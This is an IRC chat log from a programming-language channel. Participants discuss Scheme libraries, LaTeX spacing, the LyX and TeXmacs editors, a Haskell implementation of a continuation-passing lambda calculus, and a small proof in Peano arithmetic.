13:43:58 <alise> Quadrescence: Should we move discussion of this language elsewhere so I can blab a lot about the type system for term rewriting I half-thought up?
13:44:01 <alise> Sgeo: It has rudimentary highlighting, probably.
13:44:02 <Quadrescence> Scheme highlighting isn't the important part
13:44:05 <Sgeo> And no nice indentation thingy
13:44:14 <alise> If you are not going to trust the opinions of people who /know/ what they're talking about, why ask?
13:44:15 <Sgeo> I typed (let ((a 5) and hit enter
13:44:16 <Quadrescence> alise: Sure
13:44:19 <Sgeo> It didn't autoindent
13:44:33 <alise> Sgeo: Same with Emacs. Technically. (Ctrl-J :P)
13:44:38 <Quadrescence> Sgeo: Just use PLT/whatever
13:44:42 <alise> Quadrescence: Name it
13:44:57 <alise> yeah dr scheme at least has a workable editor for newbz
13:44:59 <alise> Quadrescence: (the channel)
13:45:03 <Quadrescence> ummmmmmm
13:45:47 <Sgeo> Does PLT in r5rs mode support the SRFIs that PLT is supposed to support?
13:46:10 <alise> Quadrescence: Well I wouldn't want to usurp your holy rights as a Platonic-space-excavator. :P
13:46:18 <alise> Sgeo: Yes.
13:46:19 <Quadrescence> alise: #~math
13:46:24 * Sgeo is happy now
13:46:41 <alise> Quadrescence: No, Libster and base3 will just start attempting to troll me again.
13:46:42 <alise> Keyword "attempting".
13:47:06 <Quadrescence> alise: No.
13:47:09 <Quadrescence> Libster is banned
13:47:17 <alise> Hah, really?
13:47:19 <Quadrescence> base3 is gone
13:47:21 <Quadrescence> yes really
13:47:34 <alise> Anyway, let's just do #rewritetypes so there's no flood.
13:47:40 <alise> Unless someone /else/ has that channel...
13:47:51 <Quadrescence> No one is talking
13:48:05 <Quadrescence> but we can make a new channel if you so desire
13:48:10 -!- augur has joined.
13:48:22 <alise> The holy institution of making a new channel, a.k.a. /j #foo :-P
13:51:01 <Sgeo> Um... >.>
13:51:14 <Sgeo> Are there any socket thingies in any SRFIs?
13:52:13 <alise> I shouldn't have even bothered.
13:52:48 <Sgeo> I'll take that as a "No, and you're completely missing the point"
13:53:00 <alise> Not no.
13:53:15 <alise> But not yes. Actually not even mu, I meant exactly what I said. But yes, you are missing the point.
13:55:36 <Sgeo> ..
13:57:24 <Sgeo> What is the point, exactly?
13:57:37 <Sgeo> Maybe I should just stick with Haskell >.>
13:58:27 <alise> I doubt you get Haskell's point either.
13:58:33 <augur> woo
13:58:35 <augur> xv
13:58:37 <augur> tomorrow i turn 2^3 * 3 years old. :D
14:01:42 <alise> You'll be 512!
14:02:35 <fizzie> That spacing is misleading, since the exclusive-or binds less tightly than multiplication there.
14:02:55 <alise> :-D
14:03:21 <alise> He'll be 11.
14:03:49 <alise> Or 3, if you interpret it like he said.
14:03:57 <ais523> hmm... INTERCAL can do Roman Numerals, at least for output
14:04:12 <ais523> maybe Common Lisp was just making implementing it easier?
14:04:30 <alise> :-)
14:04:43 <alise> ais523: Have you any opinions on how to best represent an Othello board?
14:04:46 <alise> (Functional language.)
14:05:10 <alise> I'm thinking of some sort of function-based representation, something that reifies the concept of the continuous line into the way you access the board.
14:05:32 <ais523> alise: I don't think I can come up with correct opinions
14:05:42 <augur> alise: not exclusive or.
14:05:44 <augur> exponentiation.
14:05:45 <augur> :|
14:05:46 <ais523> based on what I'm doing at work atm, I'd come up with a functional translation of the OO way to represent it
14:05:47 <alise> Incorrect ones are fine too, ais523.
14:05:51 <alise> augur: Ohh you don't say
14:05:54 <alise> #boring, that way
14:05:58 <ais523> no matter what the correct representation actually was
14:06:03 <augur> true
14:06:10 <augur> i could've done something more interesting
14:06:28 <fizzie> Wilful misinterpretation is the norm here, isn't it?
14:06:33 <ais523> so basically, you'd have a function with arguments (method of accessing the board, argument to that method)
14:06:37 * Sgeo fails to see PLT on http://people.csail.mit.edu/jaffer/SLIB.html
14:06:40 <ais523> wow, that is terrible
14:06:57 <ais523> nicely abstracted and extensible, but otherwise terrible
14:07:40 <alise> Sgeo: slib sucks
14:07:51 <alise> Quadrescence will back me up on this... i hope
14:08:16 <Sgeo> Ok, so what doesn't suck?
14:08:30 <fizzie> Nothing!
14:08:55 <alise> Me! It'd be illegal.
14:09:44 <fizzie> Speaking of which, where does the "put a sock on it" expression come from? (And don't reply with a line number.)
14:10:47 <alise> Condoms.
14:11:01 <alise> OBVIOUSLY.
14:11:18 <fizzie> Oh, that "it".
14:11:19 <Quadrescence> alise: hahahahaha
14:11:20 <Quadrescence> slib
14:11:22 <Quadrescence> slib blows
14:11:41 <alise> slib blows... anuses
14:12:37 <Sgeo> So... does this mean for networking stuff, I'd be using the implementation's stuff?
14:12:46 <Sgeo> Or is there anything else?
14:15:40 <Quadrescence> Just learn scheme
14:15:42 <Quadrescence> then do cool stuff
14:18:02 -!- MizardX has quit (Ping timeout: 248 seconds).
14:18:08 -!- ztirf4 has quit (Quit: Nettalk6 - www.ntalk.de).
14:19:01 * Sgeo gibbers a bit
14:29:53 <alise> axiom interact : Interaction pre final transform result → (ω:Worldish) → pre ω → (result → transform ω → Φ Worldish (λω₁ → final ω₁))
14:29:55 <alise> "Or something."
14:30:04 <alise> I think Worldish has to be an opaque type.
14:30:21 <alise> That still lets us use the old world, though...
14:30:23 <alise> Oh, perhaps:
14:31:55 <alise> axiom interact : Interaction pre final transform result → (c:Conditions) → pre c → (result → transform c → Φ Conditions (λc₁ → final c₁)) → (ω:World) → (conditions ω ≡ c) → World
14:31:58 <alise> Except with all the bits involving World omitted.
14:32:09 <alise> Except then you just move the problem of worlds to the conditions.
14:32:27 <Sgeo> I think I'm going to try learning Common Lisp
14:35:24 <alise> Hah.
14:36:41 <Sgeo> Although I already know for a fact that I hate the names of some of the functions [saw a chart contrasting Scheme and CL]
14:37:34 <Sgeo> AFK
14:51:19 -!- MizardX has joined.
14:54:07 -!- ais523 has quit (Ping timeout: 265 seconds).
14:54:45 -!- ais523 has joined.
14:55:15 <ais523> ouch
14:55:28 <ais523> my entire system was being really slow, for some reason
14:55:42 <ais523> the DNS server in particular; I'm not sure if that's deliberate or not, but I changed the DNS to level3's
14:58:39 <alise> fop
14:59:14 <ais523> fop?
15:00:03 <AnMaster> <ais523> alise: planned Feather syntax is [ x | f x ] <-- yay Feather!
15:00:25 <ais523> AnMaster: I thought you only had one line of scrollback? or did alise invent that?
15:00:45 <AnMaster> ais523, it's from the esoteric false rumours file
15:00:49 <AnMaster> didn't you know?
15:01:00 <ais523> haha, #esoteric so needs a rumors.tru and rumors.fal
15:01:01 <alise> ais523: he read the logs
15:01:06 <alise> not scrollback
15:01:19 <AnMaster> I read highlights and their context in logs
15:01:19 <alise> rumors.tru: alise is a girl pretending to be a man pretending to be a girl.
15:01:26 <alise> latex genii: how do i make an invisible char the same width as another given char?
15:01:28 <ais523> rumors.fal: #esoteric's logs come from sustainable forest
15:01:38 <ais523> oh, I'll look it up
15:01:46 <ais523> I know it's possible, and where to find out how, but not the actual command
15:01:58 <AnMaster> ais523, \hphantom?
15:02:03 <alise> rumors.mu: This rumour is false.
15:02:08 <ais523> alise: that sounds right, yes
15:02:14 <AnMaster> ais523, what?
15:02:16 <alise> hphantom, I think ,yes
15:02:19 <alise> *think, yes
15:02:21 <AnMaster> well
15:02:22 <alise> even works in TeXmacs
15:02:26 <AnMaster> it is horizontal
15:02:32 <AnMaster> there is a vertical version too iirc
15:02:41 <alise> AnMaster: gah, but it seems to treat it as not italic
15:02:43 <ais523> or just \phantom generally
15:02:44 <AnMaster> and possible one that does both vertical and horizontal (not sure about that)
15:02:47 <AnMaster> alise, what?
15:02:54 <alise> very, very subtle spacing issues
15:03:03 <ais523> alise: you could italicise inside the \phantom, or doesn't that work?
15:03:15 <AnMaster> ais523, did I mention I put a -6 em vertical spacer at the top of a minipage yesteday?
15:03:21 <AnMaster> yes a negative one
15:03:26 <ais523> AnMaster: no, or at least not to me
15:04:00 <alise> nope, it's still too long
15:04:10 <AnMaster> ais523, needed two mini pages side by side, one contained a display style formula, which some tests showed was responsible for causing it to be put below the other mini box
15:04:11 <alise> I'm trying to make _! look the same as the n! in the definition
15:04:12 <alise> _! : ...
15:04:13 <alise> n! = ...
15:04:24 <alise> so I'm doing \underline{\phantom{n}}, but the first line is too long
15:04:26 <AnMaster> so I had to move it up using negative spacer
15:04:41 <ais523> alise: oh, try \phantom{$n$}
15:04:46 <ais523> that's a math n, not an italic n, presumably
15:05:20 <AnMaster> ais523, err? does phantom inside math mode exit math mode?
15:05:46 <ais523> AnMaster: I don't actually know; is it a math mode command, though?
15:06:16 <AnMaster> ais523, I think it works in either
15:07:03 <AnMaster> ais523, and since I normally use LyX, and LyX has support for phantoms without needing "insert tex code" it may abstract such things away
15:07:05 <ais523> hmm, apparently so
15:07:48 <ais523> alise: maybe it's a kerning issue? I can sort-of imagine that \phantom would block kerning, and some typefaces will attempt to kern together any two italic characters
15:09:34 <AnMaster> what exactly is alise trying to do?
15:10:04 <AnMaster> I mean, I saw what he said, but he didn't say what part of it should align
15:10:07 <alise> ais523: ! isn't italic
15:10:11 <AnMaster> <alise> _! : ...
15:10:11 <AnMaster> <alise> n! = ...
15:10:13 <alise> AnMaster:
15:10:14 <ais523> hmm
15:10:15 <alise> _! : ...
15:10:17 <alise> n! = ...
15:10:22 <alise> _ and n should have same width
15:10:22 <AnMaster> alise, if you want those to align on the : and = ?
15:10:25 <alise> i.e., ! and ! should align
15:10:26 <AnMaster> hm
15:10:30 <alise> AnMaster: no, I already handle that
15:10:49 <AnMaster> alise, I was about to suggest eqnarray environment or something
15:10:57 <alise> yeah, doing that
15:11:08 <AnMaster> alise, also since n and _ are not in monospace there I assume?
15:11:21 <AnMaster> then it might be hard to make them equal width
15:11:46 <alise> they're not
15:11:49 <alise> they're italicy variably thingy
15:11:59 <ais523> AnMaster: why are you even suggesting monospace for a TeX-typeset document?
15:12:02 <alise> it's not an actual _ character
15:12:06 <alise> in the tex
15:12:07 <AnMaster> ais523, I'm not
15:12:08 <alise> i'm trying
15:12:12 <alise> \underline{\phantom{n}}
15:12:17 <alise> but that's wider than n, somehow
15:12:20 <alise> perhaps the underline has padding
15:12:22 <AnMaster> heh
15:12:38 <AnMaster> alise, perhaps, why not add a negative spacer in there to compensate!
15:12:47 <ais523> AnMaster: because that is missing the point of TeX
15:13:05 <ais523> hmm, LyX goes out of its way to make it hard to make semantically incorrect documents, but it seems that people still manage somehow
15:13:17 <alise> AnMaster: because i'd have to get it totally exact
15:13:30 <AnMaster> ais523, I would quote fizzie from yesterday on that, but I'm too lazy to grep the log file
15:13:34 -!- FireFly has joined.
15:13:39 <AnMaster> ais523, wrt. negative spacers and latex that is
15:13:59 <ais523> even positive spacers are normally semantically incorrect
15:14:03 <AnMaster> ais523, also I have used mono space in a LaTeX document, for a code listing
15:14:11 <alise> also, this is texmacs; so almost identical but slightly different typesetting algo
15:14:16 <AnMaster> but that is the only case I can think of
15:14:17 <alise> i imagine it's the same in tex thogh
15:14:19 <alise> *though
15:14:33 <AnMaster> alise, why not LyX btw?
15:14:46 <ais523> (/me remembers the Wikipedia advice to use positive space and negative space that cancel each other out to prevent LaTeX math rendering as HTML, and force it to render as an image, even if people have set their preferences to render as HTML)
15:15:05 <ais523> AnMaster: because sometimes, it's faster not to use an IDE
15:15:10 <ais523> whether for programming, or for typesetting
15:15:18 <AnMaster> ais523, he said texmacs, not emacs
15:15:33 <AnMaster> and texmacs has the same idea as lyx basically
15:16:05 -!- alise_ has joined.
15:16:11 <alise_> AnMaster: because lyx is harder to use
15:16:16 <AnMaster> however, my impressions of TeXmacs last I tried it were: sluggish user interface, blurry font rendering when editing (this might have been a fontconfig issue, I don't know), buggy import from LaTeX (this might not matter so much), much fewer features than LyX or similar
15:16:17 <alise_> Someone paste the last few lines to me
15:16:17 <alise_> got disconnected
15:16:26 <AnMaster> <ais523> (/me remembers the Wikipedia advice to use positive space and negative space that cancel each other out to prevent LaTeX math rendering as HTML, and force it to render as an image, even if people have set their preferences to render as HTML)
15:16:26 <AnMaster> <ais523> AnMaster: because sometimes, it's faster not to use an IDE
15:16:26 <AnMaster> <ais523> whether for programming, or for typesetting
15:16:26 <AnMaster> <AnMaster> ais523, he said texmacs, not emacs
15:16:27 <AnMaster> <AnMaster> and texmacs has the same idea as lyx basically
15:16:44 <AnMaster> alise_, the line above that was where I asked "why not lyx"
15:16:50 <AnMaster> (and you answered that)
15:17:03 <alise_> The interface is not really sluggish for me, your display sucks, I don't care about LaTeX import, and LyX is a pain to use
15:17:03 <AnMaster> alise_, I never found LyX hard to use once you learnt it
15:17:14 <alise_> It looks exactly like .ps TeX output to me
15:17:16 <AnMaster> further, I found it well worth the time it took to learn LyX
15:17:41 <AnMaster> <alise_> The interface is not really sluggish for me, your display sucks, I don't care about LaTeX import, and LyX is a pain to use <-- I said last I tried it, which might have been a year or two ago
15:18:01 <alise_> in LyX: click click click click click click click click
15:18:15 <AnMaster> alise_, no? there are keyboard shortcuts for everything in LyX reallyt
15:18:17 <AnMaster> really*
15:18:27 <AnMaster> and it shows them in the status bar when you select a command
15:18:29 <alise_> right/center/left aligned eqnarray in the middle of the doc in texmacs: M-&
15:18:40 -!- alise has quit (Ping timeout: 252 seconds).
15:18:51 <alise_> Go on then, what is the shortcut?
15:19:14 <AnMaster> alise_, Ctrl-M, Alt-M T E
15:19:27 <AnMaster> alise_, I had to look up the latter, because I very rarely use it
15:19:35 <AnMaster> the former, "insert math formula" is ctrl-m
15:19:36 <ais523> AnMaster: the leading control-M isn't needed for alt-M shortcuts
15:19:38 <AnMaster> and I know that
15:19:50 <ais523> it's harmless to give it, but you can omit it as an abbreviation
15:19:51 <AnMaster> ais523, oh? well, since I so rarely use eqnarray
15:20:02 <AnMaster> I haven't bothered learning that one
15:20:07 <alise_> whoa, flood
15:20:09 <alise_> everything after what-is-the-shortcut took ages
15:20:09 <AnMaster> alise_, ?
15:20:16 <AnMaster> ah
15:20:19 <ais523> AnMaster: : he's lagging
15:20:23 <AnMaster> right
15:20:39 <ais523> and that second : was a tab-complete fail, assume it's a stray newt or something
15:20:41 <AnMaster> and I'm not going to be like ehird and complain about other people lagging :P
15:20:41 <alise_> Alt-M T E. Well, may be acceptable.
15:20:42 <alise_> LyX has a windows binary, right?
15:20:59 <AnMaster> ais523, XD
15:21:05 <AnMaster> alise_, iirc yes
15:21:44 <AnMaster> alise_, lyx tends to have somewhat emacs-y key bindings for some things, but you can configure that somewhere iirc
15:22:23 <AnMaster> of course, if you haven't yet gotten used to lyx, keyboard shortcuts won't help you, it *does* take a while to learn
15:23:11 -!- alise has joined.
15:23:18 <alise> Maybe I'll try LyX next time, then.
15:23:32 <alise> I really ought to name my language someyear.
15:23:34 <AnMaster> alise_, but yes you can always look at the status bar after clicking almost any button to see what the command is to insert that. And you can type \LaTeX commands directly in math mode (lyx will try to display it WYSIWYW style if it knows the latex command in question)
15:24:17 <AnMaster> interestingly opening preferences in lyx shows (dialog-show prefs)
15:24:33 <AnMaster> I wasn't aware lyx used anything lispish internally
15:24:46 <ais523> AnMaster: you mean WYSIWYM?
15:24:56 <AnMaster> ais523, ah yeah, thought it was "want"
15:24:57 <ais523> AnMaster: it uses sexp notation for commands, I think
15:24:59 <AnMaster> right "meant"
15:25:02 <alise> *WYSIWYG. WYSIWY[WM] is a lie.
15:25:16 -!- alise_ has quit (Ping timeout: 252 seconds).
15:25:29 <ais523> alise: it's not pure WYSIWYG; for instance it shows nonstandard-width spaces with blue underscores with ticks on the end, rather than as blank space
15:25:30 <AnMaster> alise, well, lyx is not WYSIWYG, because it shows it in a screen friendly font rather than exactly what it will look like
15:25:36 <AnMaster> (for example)
15:25:47 <AnMaster> and what ais523 said
15:25:58 <ais523> also, it typesets relatively terribly, about as well as Word
15:25:59 <alise> What you see is not even what you get.
15:26:03 <AnMaster> plus floats are shown as boxes with a thingy saying it is a float at the top
15:26:05 <ais523> (although TeX typesets the finished product)
15:26:08 <AnMaster> ais523, what does? lyx?
15:26:12 <AnMaster> well maybe
15:26:14 <ais523> AnMaster: yes, I mean onscreen
15:26:17 <alise> ais523: Oh snap.
15:26:40 <AnMaster> alise, it can be set to instant preview math formulas though
15:26:55 <AnMaster> when you leave the equation it will render it, takes a split second
15:27:05 <AnMaster> not on by default iirc
15:27:08 <alise> AnMaster: so can auctex for emacs (that mode is a work of art, btw)
15:27:13 <alise> (possibly the nicest typesetting environment ever created)
15:27:17 <AnMaster> hm
15:27:22 <AnMaster> alise, why aren't you using that then?
15:27:42 <alise> because i can't be arsed to set up latex. and i don't really want to write a document template every time I want to ogle at how pretty my language is
15:27:52 <alise> speaking of can't be arsed to set things up on windows,
15:27:57 <alise> How should I install Ubuntu given that all I have is a costly 3G stick connection?
15:28:04 <alise> Ship-It is not an option.
15:28:10 <AnMaster> alise, well, lyx would need latex installed somewhere it can run it
15:28:21 <alise> AnMaster: Oh. TeXmacs is self-contained.
15:28:35 <alise> (It isn't actualy TeX. Or Emacs.)
15:28:36 <AnMaster> alise, perhaps the lyx windows installer includes latex?
15:28:37 <alise> *actually
15:29:40 <ais523> AnMaster: put it this way: alise has tools that work, why would you force him onto different tools even if those also work?
15:29:42 <alise> http://www.gnu.org/software/auctex/img/preview-screenshot.png ;; yum
15:29:42 <AnMaster> alise, I always use pdftex, it renders nicely and you can add a command to the document preamble so it does fancy microtyping with visually straight margins and what not
15:29:47 <AnMaster> ais523, I didn't
15:29:55 <AnMaster> he is free to choose
15:30:07 <alise> ais523: Well, I'll certainly try LyX now.
15:30:28 <ais523> I've used it; it seems to be decent enough for what it does, but has a few annoyances
15:30:35 <AnMaster> ais523, such as?
15:30:37 <ais523> such as no easy way to type the prime character, as in a'
15:30:47 <AnMaster> ais523, eh? in math mode?
15:30:52 <ais523> AnMaster: yes
15:30:54 <ais523> pressing ' doesn't work
15:31:13 <AnMaster> ais523, it renders as a primelooking one in the instant preview for me
15:31:14 <ais523> you have to do M-m e M-m '
15:31:25 <ais523> AnMaster: oh, but as a plain quote in the ordinary window?
15:31:29 <ais523> how... ridiculous
15:31:34 -!- alise_ has joined.
15:31:39 <alise_> Last 30 lines or so?
15:31:41 <ais523> because there is a way to do a superscripted prime that renders as one in LyX
15:31:43 <AnMaster> ais523, seems so
15:31:45 <ais523> alise_: I'll pastebin
15:31:48 <alise_> Not just since my last utterance; I probably missed things.
15:32:05 <AnMaster> is clog broken?
15:32:29 <ais523> ugh, sorry, this internet's being insanely slow today for some reason
15:32:36 <ais523> well, this connection
15:32:37 <AnMaster> ais523, well, they *could* be different, but to me they look pixel identical. But yes when editing they look different
15:32:49 <ais523> http://pastebin.ca/1830126
15:32:54 <alise_> AnMaster: No, but that's /two/ page loads, and this connection is... well...
15:33:02 <ais523> also, this mouse is doing so badly I even just used control-C control-V to paste
15:33:09 <AnMaster> ais523, you could also type \prime
15:33:13 <AnMaster> which might be faster
15:33:15 <ais523> umm, http://pastebin.ca/raw/1830126 for convenience
15:33:23 <ais523> AnMaster: wouldn't you have to unescape the \
15:33:32 <ais523> I thought \ means \ (as in, $backslash$) in LyX
15:33:37 <ais523> and it only did formatting if you told it to
15:33:37 <AnMaster> ais523, ? In math mode it doesn't
15:33:45 <ais523> ok, that's just silly
15:33:50 <AnMaster> ais523, it shows auto completion for \commands in math mode even
15:33:52 <AnMaster> very nice
15:34:01 <ais523> especially as there's a perfectly sensible shortcut for command-introducer \
15:34:06 <ais523> although I forget what it is, offhand
15:34:09 -!- alise__ has joined.
15:34:16 <AnMaster> ais523, you mean insert a tex box?
15:34:21 <AnMaster> ais523, but looking at the view source I see: $ $$p^{\prime}'$
15:34:26 -!- alise has quit (Ping timeout: 252 seconds).
15:34:28 <alise__> So, 22.[15:27] <alise> How should I install Ubuntu given that all I have is a costly 3G stick connection?
15:34:29 <AnMaster> but yes, that renders as two prime symbols
15:34:31 <AnMaster> as far as I can tell
15:34:51 <ais523> alise__: I'm not sure that you easily can
15:35:12 <ais523> do you live near enough to someone with a stock of them to just ask them for one?
15:35:18 <ais523> um, stock of CDs
15:35:19 <alise__> AnMaster: does lyx let me write A<tab>a<tab>(a<tab>->a<tab>) and get {forall} {greek a} ({greek a} {right arrow} {greek a})?
15:35:20 <alise__> alise__: :(
15:35:21 <AnMaster> ais523, anyway typing ^\prime was faster than the key combo you suggested
15:35:32 <AnMaster> alise__, *tries*
15:35:46 <AnMaster> ais523, what would the A<tab> do?
15:35:51 <alise__> alise__: No. I could get to Birmingham in some hours, though, and stalk you!
15:35:53 <AnMaster> err
15:35:53 <ais523> AnMaster: you're turning me more and more off LyX as time goes on here
15:35:54 <AnMaster> alise__, ^
15:35:59 <alise__> Presumably you have at least one Ubuntu cD.
15:36:02 <ais523> alise__: nickping fail
15:36:07 <alise__> A<tab> gives forall symbol
15:36:10 <ais523> alise__: two, but they're both rather old versions
15:36:14 <alise__> a<tab> gives alpha
15:36:15 <AnMaster> alise__, \for<tab> completed the forall symbol here
15:36:24 <alise__> AnMaster: A<tab> is faster
15:36:33 <alise__> Does a<tab> give greek alpha?
15:36:38 <alise__> Wow, this is the most confusing maze of nickpings ever.
15:36:49 <AnMaster> alise__, why would it auto complete plain letters?
15:36:49 <alise__> AnMaster: Does -> give right-arrow?
15:36:51 <ais523> alise__: it's alt-M G a in LyX
15:36:57 <ais523> for the greek a
15:36:59 <alise__> tab isn't autocomplete
15:37:02 <alise__> AnMaster: Does -> give right arrow?
15:37:22 -!- alise_ has quit (Ping timeout: 252 seconds).
15:37:27 <AnMaster> alise__, in math mode? No, but AltGr-i seems to insert the latex one
15:37:42 <alise__> Then LyX is useless to me.
15:37:54 <alise__> I use TeXmacs because it lets me mainly type ASCII-ish stuff and get what I want.
15:38:06 <AnMaster> alise__, well sure, if you don't like the exact key bindings
15:38:07 <AnMaster> *shrug*
15:38:11 <alise__> NN->NN^+{right arrow key}->a<tab>
15:38:14 <alise__> gives
15:38:25 <alise__> {blackboard N} {right arrow} {blackboard n with superscript +} {right arrow} {greek alpha}
15:38:26 <AnMaster> alise__, does alpha<tab> give you a single alphpa?
15:38:28 <AnMaster> alpha*
15:38:36 <alise__> no, a<tab> does.
15:38:39 <alise__> tab is not autocomplete.
15:38:42 <alise__> tab is "variations"
15:38:48 <AnMaster> alise__, on what? last letter?
15:38:52 <alise__> for instance, |<tab> gives \vee
15:39:00 <alise__> AnMaster: yes.
15:39:03 <AnMaster> also, what if I want aleph instead?
15:39:08 <AnMaster> alise__, how would one type that?
15:39:16 <AnMaster> in TeXmacs
15:39:18 <alise__> \aleph. it probably has some shortcut
15:39:26 <alise__> also, @ is for circle stuff, so @@ = infinity, @+ = circled +, etc
15:39:27 <AnMaster> alise__, not a<tab><tab>?
15:39:30 <alise__> it's actually very, very handy
15:39:34 <alise__> AnMaster: maybe it is. maybe it's something else
15:39:39 <alise__> aleph doesn't look like a
15:39:44 <alise__> so it's probably not a<tab^N>
15:39:45 <AnMaster> true
15:39:58 <alise__> perhaps N<tab^n>
15:40:02 <AnMaster> perhaps
15:40:10 -!- cpressey has joined.
15:40:17 <AnMaster> alise__, what about an actual @?
15:40:51 <alise__> Well, \text{@} works.
15:41:00 <AnMaster> alise__, how verbose!
15:41:00 <alise__> Which is actually \text<RET>@<right>
15:41:08 <AnMaster> yes, very very verbose
15:41:09 <alise__> A-$ also works for text.
15:41:12 <alise__> A-$ @ right
15:41:17 <AnMaster> I can just type a single @
15:41:26 <alise__> Now write infinity. @@
15:41:30 <alise__> Blackboard bold N. NN
15:41:34 <alise__> + in circle. @+
15:41:38 <alise__> Right arrow. ->
15:41:55 <alise__> Yeah, A-$ @ right is soooo horrible.
15:42:05 <AnMaster> alise__, I wouldn't write @@, since it is on altgr here, that is not so easy as \infty<any whitespace char>
15:42:06 <alise__> Especially as @ is /so/ /common/ in mathematics.
15:42:11 <alise__> Of course, @ outside of an equation still produces @.
15:43:08 <AnMaster> ais523, anyway, I find lyx have no major issues. A few small quirks sure. But then LaTeX itself has plenty of those too. And LyX does a reasonable job of producing a good result without a lot of fine tuning
15:43:21 <ais523> AnMaster: the issue's mostly with the interface
15:43:28 <ais523> I have no issues with the general concept, just the details
15:44:08 <AnMaster> ais523, I would hate to edit in Computer Modern on a "normal" dpi desktop monitor
15:44:17 <alise__> But you're okay with reading it?
15:44:23 <alise__> Also, TeXmacs allows you to choose among fonts
15:44:24 <alise__> Obviously.
15:44:31 <AnMaster> alise__, well I wouldn't use CM unless I aim to print it
15:44:41 <alise__> So choose another font. You are boring.
15:44:48 <AnMaster> if it is primarily intended for on screen reading, I would use another font
15:45:34 <AnMaster> alise__, my point was that I don't want WYSIWYG. I want to concentrate on the actual text and such first, and only at the end care about small formatting details
15:46:09 <alise__> I don't feel like talking to you about this any more.
15:46:18 <AnMaster> well, I have other things to do as well
15:46:45 <alise__> I don't, but (nothing) is better than this.
15:46:51 <alise__> [15:46] == #ω Illegal channel name
15:46:57 <alise__> Fuck you, Freenode.
15:47:36 <AnMaster> :P
15:48:09 <AnMaster> ais523, if doing direct latex editing I found kile quite nice
15:48:23 <alise__> auctex. No competition at all.
15:49:46 <alise__> Microsoft Works is preinstalled on this computer.
15:49:47 <alise__> Wow.
15:50:15 <AnMaster> now you must use that instead!
15:50:18 <alise__> Apparently Ctrl - = delete and Ctrl + is increase font size, but it's also its own inverse.
15:50:44 <AnMaster> alise__, what? in TeXmacs?
15:50:50 <AnMaster> how weird
15:50:52 <alise__> No.
15:50:58 <AnMaster> oh works?
15:51:00 <alise__> In Microsoft Works Word Processor.
15:51:07 <AnMaster> still weird
15:51:58 <ais523> Works is awful
15:52:03 <alise__> ais523: indeed
15:52:07 <ais523> I know, I used to use it to some extent
15:52:09 <alise__> ais523: Also, I implemented the Lambda Calculus of Continuations.
15:52:24 <ais523> apart from the word processor; the computer came preinstalled with Works - word processor, and Word
15:52:51 <alise__> ais523: Not interested?
15:53:25 <ais523> alise__: vaguely
15:53:35 <ais523> I was busy argumenting in two other channels, so was distracted even from a nickping
15:53:39 <alise__> ais523: Hey, it's for Feather.
15:53:44 <ais523> yay
15:53:53 <ais523> what did you implement it in? Haskell?
15:53:59 <alise__> Yes.
15:54:01 <alise__> I'll pastie.
15:54:03 <AnMaster> alise__, how well does bibtex integrate with TeXmacs?
15:54:30 <alise__> AnMaster: TeXmacs is not tex at all.
15:54:49 <AnMaster> alise__, well, what does it use for a replacement of bibtex then?
15:54:57 <alise__> AnMaster: Dunno
15:55:46 <alise__> ais523: http://pastie.org/861515.txt?key=n5pnirguwnncksdk7homzq. So, we have two main structures:
15:55:57 <alise__> f(x,k) and (\x,k.E)
15:56:13 <alise__> There are constraints: f must be a lambda expression, not another application.
15:56:16 <alise__> erm
15:56:25 <ais523> alise__: that's nice and short
15:56:28 <alise__> There are constraints: in f(x,k), f, x and k must be lambda expressions, not applications.
15:56:55 <alise__> In (\x,k.E), E must be an application. (I neglected to include this in my implementation)
15:57:03 <alise__> (LCC t should be LCC App).
15:57:23 <alise__> So, we have: no nested applications, and forced continuation "arguments".
15:57:39 <alise__> It has the interesting property of making application a triadic operation (since k isn't "really" an argument)
15:58:01 <alise__> Anyway, it's basicaly just the lambda calculus, except continuation-passing style is enforced.
15:58:16 <alise__> I'll probably write a CPS-converter for it.
15:58:40 <alise__> ais523: A disadvantage of my representation is that I can't pretty-print it without a lot of fuss.
15:59:22 <ais523> hmm, yes
15:59:38 <ais523> so what you've implemented is LC+continuations, but restricted such that CPS is enforced?
15:59:42 <alise__> ais523: But that's no issue with the actual calculus.
15:59:46 <alise__> Not +continuations.
15:59:50 <alise__> Continuations are done with CPS.
16:00:14 <alise__> It's basically a variant of the lambda calculus that replaces nested application with continuation-passing style. (But CPS isn't inherent in the model; you don't /have/ to "normally" pass things to k.)
16:00:19 <cpressey> My god, Works is still around?
16:00:25 <ais523> cpressey: apparently so
16:00:27 <alise__> (As in, you don't have to write "normal" functions that don't do stupid shit with k.)
16:00:31 <ais523> IIRC, Microsoft are trying to get rid of it though
16:01:03 <cpressey> The first hit on Google is under microsoft.com/uk/
16:01:16 <cpressey> Maybe it's a British thing.
16:05:24 -!- oerjan has joined.
16:07:15 <oerjan> <alise> Hypothesis: It is impossible to be comfortable. <-- it is possible for short moments, although only by accident, and if you try to prolong it it backfires horribly. at least that's my experience.
16:07:28 <oerjan> HTH
16:07:54 <alise__> cps (LApp f x) k = cps f $ Lam $ \k' f' -> App k' $ cps x $ Lam $ \k'' x' -> App f' x' (Lam (\k''' r -> App k r k'''))
16:07:55 <alise__> I made an error. Dammit.
16:07:58 <cpressey> alise__: I haven't had the time to encode the theory of rationals in it, but I do have in my proof-checking language a proof of a statement in Peano arithmetic: http://dpaste.com/169965/
16:08:06 <cpressey> You may commence talkin' smack about it.
16:08:09 <alise__> oerjan: I mean physical comfort, not mental-anguish-comfort. :P
16:08:32 <oerjan> alise__: i mean both
16:08:38 <alise__> cpressey: Well look at that, you have specification of theorems now :P
16:09:07 <cpressey> alise__: It's just for clarity; itrepeated in the body of
16:09:12 <cpressey> the proof anyway
16:09:35 <cpressey> Or rather, its the first step of the proof
16:09:44 <ais523> cpressey: that doesn't look like the Peano axioms that you've assumed at the start, but rather something else
16:09:54 <oerjan> and those feed on each other. for example my mental comfort is now helped by chatting on the pc. but eventually i'll tense up physically from doing so.
16:10:05 <ais523> also, I love that qed is a keyword
16:10:08 <cpressey> ais523: I'm kind of leaving out the ones I don't need. Actually I don't need the zero?
16:10:11 <alise__> I /very/ much like proof/qed as structures, though. :-)
16:10:21 <ais523> hmm yes, looks like you don't
16:11:05 <cpressey> Kind of disturbing that it only relies on a fragment of Peano arithmetic, but it is very simple I guess
16:11:52 <cpressey> I'm working on another one which is more practical: prove that find(x,tree) always returns true or false if tree is a proper tree. That'll probably require extending this syntax with cases
16:12:09 <cpressey> like, case tree -> branch A B ... case tree -> leaf X ...
16:12:15 <alise__> it's actually Qed.
